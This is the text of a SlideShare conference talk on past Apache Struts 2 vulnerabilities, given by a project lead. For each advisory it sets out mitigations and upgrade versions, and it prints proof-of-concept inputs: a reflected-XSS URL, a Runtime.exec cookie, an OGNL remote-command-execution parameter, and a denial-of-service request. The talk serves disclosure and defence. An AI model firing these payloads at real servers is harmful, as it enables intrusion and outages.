SlideShare a Scribd company logo
1 of 24
Download to read offline
“…	
  use	
  the	
  source	
  …”	
  




Based	
  on	
  Apache	
  Struts	
  2	
  
¡  About	
  me	
  
¡  What	
  is	
  the	
  Apache	
  Struts	
  2	
  
¡  Hacking	
  the	
  framework	
  
   §  S2-­‐006	
  aka	
  Client	
  side	
  code	
  injection	
  
   §  S2-­‐008	
  aka	
  Remote	
  Command	
  Execution	
  
   §  S2-­‐009	
  aka	
  RCE	
  strikes	
  back	
  
   §  S2-­‐011	
  aka	
  DoS	
  
   §  Sx-­‐xxx	
  aka	
  vulnerability	
  or	
  not	
  
¡  Apache	
  Struts	
  2	
  Lead	
  
¡  Member	
  of	
  Apache	
  Software	
  Foundation	
  
¡  Creative	
  Software	
  Engineer	
  @	
  SoftwareMill	
  
¡  Blogger	
  
¡  IntelliJ	
  IDEA	
  addict	
  J	
  
¡  JetBrains	
  Development	
  Academy	
  Member	
  
¡  @lukaszlenart	
  
¡  Husband,	
  father	
  J	
  
¡  Struts	
  2	
  is	
  a	
  new	
  kid	
  on	
  the	
  block	
  
   §  No	
  single	
  line	
  shared	
  with	
  Struts	
  1	
  
   §  No	
  form	
  beans,	
  no	
  session-­‐scoped	
  actions	
  
   §  Pure	
  POJOs,	
  Interface	
  steering	
  
   §  Strongly	
  interceptor	
  oriented	
  
   §  Highly	
  extendable	
  –	
  lots	
  of	
  plugins	
  
   §  Designed	
  to	
  be	
  customizable	
  
   §  Powerful	
  OGNL	
  expression	
  language	
  
#ognl	
  


%{…}	
  

                   ${…}	
  
struts.xml	
  

index.jsp	
  




IndexAction.properties	
  
¡  When	
  Dynamic	
  Method	
  Invocation	
  is	
  enabled	
  
    action	
  name	
  is	
  generated	
  base	
  on	
  the	
  
    provided	
  request	
  
¡  Non-­‐existing	
  action	
  will	
  generate	
  an	
  error	
  
    page	
  with	
  injected	
  client	
  code	
  
   §  Issue	
  is	
  specific	
  to	
  Weblogic	
  server	
  



¡  http://struts.apache.org/2.x/docs/s2-­‐006.html	
  
¡  /HelloWorld.action?action%3Alogin!login
 %3AcantLogin%3Cscript%3Ealert
 %28window.location%29%3C%2Fscript%3E
 %3Dsome_value=Submit	
  
¡  Disable	
  DMI	
  
   §  <constant	
  
      name="struts.enable.DynamicMethodInvocation"	
  
      value="false"	
  />	
  

¡  Upgrade	
  to	
  Struts	
  2.2.3	
  


¡  Don’t	
  use	
  Weblogic	
  ;-­‐)	
  
¡  Conversion	
  error	
  is	
  evaluated	
  as	
  expression	
  
¡  Cookie	
  name	
  is	
  evaluated	
  as	
  expression	
  
¡  With	
  “!”	
  (bang)	
  you	
  can	
  access	
  any	
  public	
  
       method	
  of	
  action	
  
       §  Only	
  when	
  Dynamic	
  Method	
  Invocation	
  is	
  set	
  to	
  
         true,	
  is	
  set	
  to	
  true	
  by	
  default	
  
	
  
	
  
¡  http://struts.apache.org/2.x/docs/s2-­‐008.html	
  
	
  
¡  /hello.action?id='%2b(new	
  Object())%2b’	
  

¡  Cookie:	
  
  @java.lang.Runtime@getRuntime().exec()=1	
  

¡  /mywebapp/recover!getPassword.action	
  
¡  Disable	
  DMI	
  
   §  <constant	
  
     name="struts.enable.DynamicMethodInvocation"	
  
     value="false"	
  />	
  
¡  Review	
  your	
  action	
  public	
  methods	
  
¡  Use	
  Strict	
  DMI	
  –	
  list	
  of	
  allowed	
  methods	
  


¡  DMI	
  disabled	
  by	
  default	
  as	
  from	
  Struts	
  2.3.1	
  
¡  Upgrade	
  to	
  Struts	
  2.3.1!	
  
¡  An	
  arbitrary	
  code	
  can	
  be	
  executed	
  on	
  server	
  
    §  Encoded	
  value	
  of	
  parameter	
  is	
  parsed	
  as	
  an	
  OGNL	
  
      expression	
  




¡  http://struts.apache.org/2.x/docs/s2-­‐009.html	
  
¡    /action?foo=
      %28%23context[%22xwork.MethodAccessor.deny
      MethodExecution%22]%3D+new
      +java.lang.Boolean%28false
      %29,%20%23_memberAccess[%22allowStaticMeth
      odAccess%22]%3d+new+java.lang.Boolean%28true
      %29,%20@java.lang.Runtime@getRuntime
      %28%29.exec%28%27mkdir%20/tmp/PWNAGE
      %27%29%29%28meh%29&z[%28foo
      %29%28%27meh%27%29]=true	
  
¡  Stronger	
  pattern	
  for	
  parameter	
  names	
  
   §  OGNL	
  only	
  sets	
  value,	
  does	
  not	
  evaluate	
  it	
  


¡  Workaround	
  
   §  add	
  a	
  filter	
  to	
  filter	
  out	
  all	
  the	
  suspicious	
  looking	
  
      parameters/headers	
  

¡  Upgrade	
  to	
  Struts	
  2.3.1.2	
  
¡  Denial	
  of	
  Service	
  
   §  Long	
  request	
  parameter	
  name	
  is	
  evaluated	
  by	
  
     OGNL	
  and	
  consumes	
  significant	
  CPU	
  cycle	
  




¡  http://struts.apache.org/2.x/docs/s2-­‐011.html	
  
¡  POST	
  /home	
  
  veryveryveryevenveryveryveryveryveryveryv
  eryveryevenevenveryveryveryveryloooooooo
  ooooooongpramaterename=1	
  
  §  300	
  request	
  
  §  parameter	
  name	
  length	
  =	
  1000000	
  
¡  Add	
  parameter	
  name	
  length	
  limit	
  
       §  By	
  default	
  100	
  characters	
  
       §  User	
  can	
  change	
  the	
  limit	
  
	
  
¡  Workaround	
  
       §  add	
  a	
  filter	
  to	
  filter	
  out	
  all	
  the	
  parameters	
  longer	
  
          than	
  xxx	
  

¡  Upgrade	
  to	
  Struts	
  2.3.4.1	
  
¡  Struts	
  2	
  allows	
  nested	
  OGNL	
  expressions	
  
   §  #	
  {%{java.lang.System@out.println(“hello”)}}	
  
   §  Users	
  do	
  not	
  escape	
  data	
  
¡  Example	
  –	
  please	
  judge	
  
¡  Check	
  how	
  vulnerable	
  your	
  current	
  web	
  
    framework	
  is	
  
¡  Find	
  a	
  security	
  vulnerability,	
  try	
  to	
  inject	
  
    JavaScript	
  
   §  Report	
  back	
  to	
  the	
  project	
  team	
  
 
                       	
  
This	
  is	
  the	
  end,	
  questions?	
  


                     @lukaszlenart	
  
                     lukaszlenart@apache.org	
  

More Related Content

What's hot

Hunting for malicious modules in npm - NodeSummit
Hunting for malicious modules in npm - NodeSummitHunting for malicious modules in npm - NodeSummit
Hunting for malicious modules in npm - NodeSummitAdam Baldwin
 
Tomcat连接池配置方法V2.1
Tomcat连接池配置方法V2.1Tomcat连接池配置方法V2.1
Tomcat连接池配置方法V2.1Zianed Hou
 
Web application Security
Web application SecurityWeb application Security
Web application SecurityLee C
 
Structured Testing Framework
Structured Testing FrameworkStructured Testing Framework
Structured Testing Frameworkserzar
 
Grails vs XSS: Defending Grails against XSS attacks
Grails vs XSS: Defending Grails against XSS attacksGrails vs XSS: Defending Grails against XSS attacks
Grails vs XSS: Defending Grails against XSS attackstheratpack
 
XSS Countermeasures in Grails
XSS Countermeasures in GrailsXSS Countermeasures in Grails
XSS Countermeasures in Grailstheratpack
 
Unit testing patterns for concurrent code
Unit testing patterns for concurrent codeUnit testing patterns for concurrent code
Unit testing patterns for concurrent codeDror Helper
 

What's hot (10)

Hunting for malicious modules in npm - NodeSummit
Hunting for malicious modules in npm - NodeSummitHunting for malicious modules in npm - NodeSummit
Hunting for malicious modules in npm - NodeSummit
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Tomcat连接池配置方法V2.1
Tomcat连接池配置方法V2.1Tomcat连接池配置方法V2.1
Tomcat连接池配置方法V2.1
 
node.js errors
node.js errorsnode.js errors
node.js errors
 
Web application Security
Web application SecurityWeb application Security
Web application Security
 
Structured Testing Framework
Structured Testing FrameworkStructured Testing Framework
Structured Testing Framework
 
Grails vs XSS: Defending Grails against XSS attacks
Grails vs XSS: Defending Grails against XSS attacksGrails vs XSS: Defending Grails against XSS attacks
Grails vs XSS: Defending Grails against XSS attacks
 
XSS Countermeasures in Grails
XSS Countermeasures in GrailsXSS Countermeasures in Grails
XSS Countermeasures in Grails
 
Unit testing patterns for concurrent code
Unit testing patterns for concurrent codeUnit testing patterns for concurrent code
Unit testing patterns for concurrent code
 
Thomas Fuchs Presentation
Thomas Fuchs PresentationThomas Fuchs Presentation
Thomas Fuchs Presentation
 

Viewers also liked

Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2Broto Santoso
 
Securing Your .NET Application
Securing Your .NET ApplicationSecuring Your .NET Application
Securing Your .NET ApplicationIron Speed
 
Real Life Information Security
Real Life Information SecurityReal Life Information Security
Real Life Information SecurityPawel Krawczyk
 
RootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache StrutsRootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache Strutstestpurposes
 
Cyber Threat Hunting with Phirelight
Cyber Threat Hunting with PhirelightCyber Threat Hunting with Phirelight
Cyber Threat Hunting with PhirelightHostway|HOSTING
 
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue TeamersGo Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamersjasonjfrank
 
.Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 .Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 Amanda Rousseau
 
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor NetworksQueue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor NetworksCSCJournals
 
SETTING METHOD IN CONSIDERATION OF THE PCI/DSS
SETTING METHOD IN CONSIDERATION OF THE PCI/DSSSETTING METHOD IN CONSIDERATION OF THE PCI/DSS
SETTING METHOD IN CONSIDERATION OF THE PCI/DSShogehuga
 
Passive infrastructure of FTTH networks: an overview
Passive infrastructure of FTTH networks: an overviewPassive infrastructure of FTTH networks: an overview
Passive infrastructure of FTTH networks: an overviewLuc De Heyn
 
A very quick introduction to HFC, DOCSIS 3.0 and 3.1
A very quick introduction to HFC, DOCSIS 3.0 and 3.1A very quick introduction to HFC, DOCSIS 3.0 and 3.1
A very quick introduction to HFC, DOCSIS 3.0 and 3.1Erik Vloothuis
 
ColdFusion for Penetration Testers
ColdFusion for Penetration TestersColdFusion for Penetration Testers
ColdFusion for Penetration TestersChris Gates
 
DevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsDevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsChris Gates
 

Viewers also liked (13)

Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2Maximizing your coaxial (cable tv) v2
Maximizing your coaxial (cable tv) v2
 
Securing Your .NET Application
Securing Your .NET ApplicationSecuring Your .NET Application
Securing Your .NET Application
 
Real Life Information Security
Real Life Information SecurityReal Life Information Security
Real Life Information Security
 
RootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache StrutsRootedCON 2015 - Deep inside the Java framework Apache Struts
RootedCON 2015 - Deep inside the Java framework Apache Struts
 
Cyber Threat Hunting with Phirelight
Cyber Threat Hunting with PhirelightCyber Threat Hunting with Phirelight
Cyber Threat Hunting with Phirelight
 
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue TeamersGo Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
 
.Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 .Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017
 
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor NetworksQueue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
Queue Size Trade Off with Modulation in 802.15.4 for Wireless Sensor Networks
 
SETTING METHOD IN CONSIDERATION OF THE PCI/DSS
SETTING METHOD IN CONSIDERATION OF THE PCI/DSSSETTING METHOD IN CONSIDERATION OF THE PCI/DSS
SETTING METHOD IN CONSIDERATION OF THE PCI/DSS
 
Passive infrastructure of FTTH networks: an overview
Passive infrastructure of FTTH networks: an overviewPassive infrastructure of FTTH networks: an overview
Passive infrastructure of FTTH networks: an overview
 
A very quick introduction to HFC, DOCSIS 3.0 and 3.1
A very quick introduction to HFC, DOCSIS 3.0 and 3.1A very quick introduction to HFC, DOCSIS 3.0 and 3.1
A very quick introduction to HFC, DOCSIS 3.0 and 3.1
 
ColdFusion for Penetration Testers
ColdFusion for Penetration TestersColdFusion for Penetration Testers
ColdFusion for Penetration Testers
 
DevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsDevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps Toolchains
 

Similar to Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"

How secure your web framework is?
How secure your web framework is?How secure your web framework is?
How secure your web framework is?SoftwareMill
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processguest3379bd
 
Strut2-Spring-Hibernate
Strut2-Spring-HibernateStrut2-Spring-Hibernate
Strut2-Spring-HibernateJay Shah
 
Taming Deployment With Smart Frog
Taming Deployment With Smart FrogTaming Deployment With Smart Frog
Taming Deployment With Smart FrogSteve Loughran
 
Python (Jinja2) Templates for Network Automation
Python (Jinja2) Templates for Network AutomationPython (Jinja2) Templates for Network Automation
Python (Jinja2) Templates for Network AutomationRick Sherman
 
Struts 2 – Interceptors
Struts 2 – InterceptorsStruts 2 – Interceptors
Struts 2 – InterceptorsDucat India
 
07 application security fundamentals - part 2 - security mechanisms - data ...
07   application security fundamentals - part 2 - security mechanisms - data ...07   application security fundamentals - part 2 - security mechanisms - data ...
07 application security fundamentals - part 2 - security mechanisms - data ...appsec
 
IE 8 et les standards du Web - Chris Wilson - Paris Web 2008
IE 8 et les standards du Web - Chris Wilson - Paris Web 2008IE 8 et les standards du Web - Chris Wilson - Paris Web 2008
IE 8 et les standards du Web - Chris Wilson - Paris Web 2008Association Paris-Web
 
(Don't) Go Tracing Server Calls
(Don't) Go Tracing Server Calls(Don't) Go Tracing Server Calls
(Don't) Go Tracing Server CallsBrandon Hunter
 
JSUG - Filthy Flex by Christoph Pickl
JSUG - Filthy Flex by Christoph PicklJSUG - Filthy Flex by Christoph Pickl
JSUG - Filthy Flex by Christoph PicklChristoph Pickl
 
Struts2-Spring=Hibernate
Struts2-Spring=HibernateStruts2-Spring=Hibernate
Struts2-Spring=HibernateJay Shah
 
Practical Operation Automation with StackStorm
Practical Operation Automation with StackStormPractical Operation Automation with StackStorm
Practical Operation Automation with StackStormShu Sugimoto
 
Security on Rails
Security on RailsSecurity on Rails
Security on RailsDavid Paluy
 
SF JUG - GWT Can Help You Create Amazing Apps - 2009-10-13
SF JUG - GWT Can Help You Create Amazing Apps - 2009-10-13SF JUG - GWT Can Help You Create Amazing Apps - 2009-10-13
SF JUG - GWT Can Help You Create Amazing Apps - 2009-10-13Fred Sauer
 
What the Struts?
What the Struts?What the Struts?
What the Struts?Joe Kutner
 
Building an App with jQuery and JAXER
Building an App with jQuery and JAXERBuilding an App with jQuery and JAXER
Building an App with jQuery and JAXERBrian Moschel
 

Similar to Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2" (20)

How secure your web framework is?
How secure your web framework is?How secure your web framework is?
How secure your web framework is?
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
 
Strut2-Spring-Hibernate
Strut2-Spring-HibernateStrut2-Spring-Hibernate
Strut2-Spring-Hibernate
 
Java scipt
Java sciptJava scipt
Java scipt
 
Taming Deployment With Smart Frog
Taming Deployment With Smart FrogTaming Deployment With Smart Frog
Taming Deployment With Smart Frog
 
Introduction to Struts 2
Introduction to Struts 2Introduction to Struts 2
Introduction to Struts 2
 
Python (Jinja2) Templates for Network Automation
Python (Jinja2) Templates for Network AutomationPython (Jinja2) Templates for Network Automation
Python (Jinja2) Templates for Network Automation
 
Struts 2 – Interceptors
Struts 2 – InterceptorsStruts 2 – Interceptors
Struts 2 – Interceptors
 
07 application security fundamentals - part 2 - security mechanisms - data ...
07   application security fundamentals - part 2 - security mechanisms - data ...07   application security fundamentals - part 2 - security mechanisms - data ...
07 application security fundamentals - part 2 - security mechanisms - data ...
 
IE 8 et les standards du Web - Chris Wilson - Paris Web 2008
IE 8 et les standards du Web - Chris Wilson - Paris Web 2008IE 8 et les standards du Web - Chris Wilson - Paris Web 2008
IE 8 et les standards du Web - Chris Wilson - Paris Web 2008
 
(Don't) Go Tracing Server Calls
(Don't) Go Tracing Server Calls(Don't) Go Tracing Server Calls
(Don't) Go Tracing Server Calls
 
JSUG - Filthy Flex by Christoph Pickl
JSUG - Filthy Flex by Christoph PicklJSUG - Filthy Flex by Christoph Pickl
JSUG - Filthy Flex by Christoph Pickl
 
Struts2 notes
Struts2 notesStruts2 notes
Struts2 notes
 
Struts2-Spring=Hibernate
Struts2-Spring=HibernateStruts2-Spring=Hibernate
Struts2-Spring=Hibernate
 
Practical Operation Automation with StackStorm
Practical Operation Automation with StackStormPractical Operation Automation with StackStorm
Practical Operation Automation with StackStorm
 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
 
SF JUG - GWT Can Help You Create Amazing Apps - 2009-10-13
SF JUG - GWT Can Help You Create Amazing Apps - 2009-10-13SF JUG - GWT Can Help You Create Amazing Apps - 2009-10-13
SF JUG - GWT Can Help You Create Amazing Apps - 2009-10-13
 
What the Struts?
What the Struts?What the Struts?
What the Struts?
 
Building an App with jQuery and JAXER
Building an App with jQuery and JAXERBuilding an App with jQuery and JAXER
Building an App with jQuery and JAXER
 
Java script
Java scriptJava script
Java script
 

More from Pawel Krawczyk

Top DevOps Security Failures
Top DevOps Security FailuresTop DevOps Security Failures
Top DevOps Security FailuresPawel Krawczyk
 
Authenticity and usability
Authenticity and usabilityAuthenticity and usability
Authenticity and usabilityPawel Krawczyk
 
Reading Geek Night 2019
Reading Geek Night 2019Reading Geek Night 2019
Reading Geek Night 2019Pawel Krawczyk
 
Unicode the hero or villain
Unicode  the hero or villain Unicode  the hero or villain
Unicode the hero or villain Pawel Krawczyk
 
Get rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionGet rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionPawel Krawczyk
 
Presentation from CyberGov.pl 2015
Presentation from CyberGov.pl 2015 Presentation from CyberGov.pl 2015
Presentation from CyberGov.pl 2015 Pawel Krawczyk
 
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"Pawel Krawczyk
 
Paweł Krawczyk - Ekonomia bezpieczeństwa
Paweł Krawczyk - Ekonomia bezpieczeństwaPaweł Krawczyk - Ekonomia bezpieczeństwa
Paweł Krawczyk - Ekonomia bezpieczeństwaPawel Krawczyk
 
Are electronic signature assumptions realistic
Are electronic signature assumptions realisticAre electronic signature assumptions realistic
Are electronic signature assumptions realisticPawel Krawczyk
 
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)Pawel Krawczyk
 
Filtrowanie sieci - Panoptykon
Filtrowanie sieci - PanoptykonFiltrowanie sieci - Panoptykon
Filtrowanie sieci - PanoptykonPawel Krawczyk
 
Pragmatic view on Electronic Signature directive 1999 93
Pragmatic view on Electronic Signature directive 1999 93Pragmatic view on Electronic Signature directive 1999 93
Pragmatic view on Electronic Signature directive 1999 93Pawel Krawczyk
 
Why care about application security
Why care about application securityWhy care about application security
Why care about application securityPawel Krawczyk
 
Krawczyk Ekonomia Bezpieczenstwa 2
Krawczyk   Ekonomia Bezpieczenstwa 2Krawczyk   Ekonomia Bezpieczenstwa 2
Krawczyk Ekonomia Bezpieczenstwa 2Pawel Krawczyk
 
Audyt Wewnetrzny W Zakresie Bezpieczenstwa
Audyt Wewnetrzny W Zakresie BezpieczenstwaAudyt Wewnetrzny W Zakresie Bezpieczenstwa
Audyt Wewnetrzny W Zakresie BezpieczenstwaPawel Krawczyk
 
Kryptografia i mechanizmy bezpieczenstwa
Kryptografia i mechanizmy bezpieczenstwaKryptografia i mechanizmy bezpieczenstwa
Kryptografia i mechanizmy bezpieczenstwaPawel Krawczyk
 
Zaufanie W Systemach Informatycznych
Zaufanie W Systemach InformatycznychZaufanie W Systemach Informatycznych
Zaufanie W Systemach InformatycznychPawel Krawczyk
 
Europejskie Ramy Interoperacyjności 2.0
Europejskie Ramy Interoperacyjności 2.0Europejskie Ramy Interoperacyjności 2.0
Europejskie Ramy Interoperacyjności 2.0Pawel Krawczyk
 

More from Pawel Krawczyk (20)

Top DevOps Security Failures
Top DevOps Security FailuresTop DevOps Security Failures
Top DevOps Security Failures
 
Authenticity and usability
Authenticity and usabilityAuthenticity and usability
Authenticity and usability
 
Reading Geek Night 2019
Reading Geek Night 2019Reading Geek Night 2019
Reading Geek Night 2019
 
Effective DevSecOps
Effective DevSecOpsEffective DevSecOps
Effective DevSecOps
 
Unicode the hero or villain
Unicode  the hero or villain Unicode  the hero or villain
Unicode the hero or villain
 
Get rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionGet rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protection
 
Presentation from CyberGov.pl 2015
Presentation from CyberGov.pl 2015 Presentation from CyberGov.pl 2015
Presentation from CyberGov.pl 2015
 
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
 
Paweł Krawczyk - Ekonomia bezpieczeństwa
Paweł Krawczyk - Ekonomia bezpieczeństwaPaweł Krawczyk - Ekonomia bezpieczeństwa
Paweł Krawczyk - Ekonomia bezpieczeństwa
 
Are electronic signature assumptions realistic
Are electronic signature assumptions realisticAre electronic signature assumptions realistic
Are electronic signature assumptions realistic
 
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
 
Filtrowanie sieci - Panoptykon
Filtrowanie sieci - PanoptykonFiltrowanie sieci - Panoptykon
Filtrowanie sieci - Panoptykon
 
Pragmatic view on Electronic Signature directive 1999 93
Pragmatic view on Electronic Signature directive 1999 93Pragmatic view on Electronic Signature directive 1999 93
Pragmatic view on Electronic Signature directive 1999 93
 
Why care about application security
Why care about application securityWhy care about application security
Why care about application security
 
Source Code Scanners
Source Code ScannersSource Code Scanners
Source Code Scanners
 
Krawczyk Ekonomia Bezpieczenstwa 2
Krawczyk   Ekonomia Bezpieczenstwa 2Krawczyk   Ekonomia Bezpieczenstwa 2
Krawczyk Ekonomia Bezpieczenstwa 2
 
Audyt Wewnetrzny W Zakresie Bezpieczenstwa
Audyt Wewnetrzny W Zakresie BezpieczenstwaAudyt Wewnetrzny W Zakresie Bezpieczenstwa
Audyt Wewnetrzny W Zakresie Bezpieczenstwa
 
Kryptografia i mechanizmy bezpieczenstwa
Kryptografia i mechanizmy bezpieczenstwaKryptografia i mechanizmy bezpieczenstwa
Kryptografia i mechanizmy bezpieczenstwa
 
Zaufanie W Systemach Informatycznych
Zaufanie W Systemach InformatycznychZaufanie W Systemach Informatycznych
Zaufanie W Systemach Informatycznych
 
Europejskie Ramy Interoperacyjności 2.0
Europejskie Ramy Interoperacyjności 2.0Europejskie Ramy Interoperacyjności 2.0
Europejskie Ramy Interoperacyjności 2.0
 

Recently uploaded

What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfSeasiaInfotech2
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 

Recently uploaded (20)

What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
AI as an Interface for Commercial Buildings
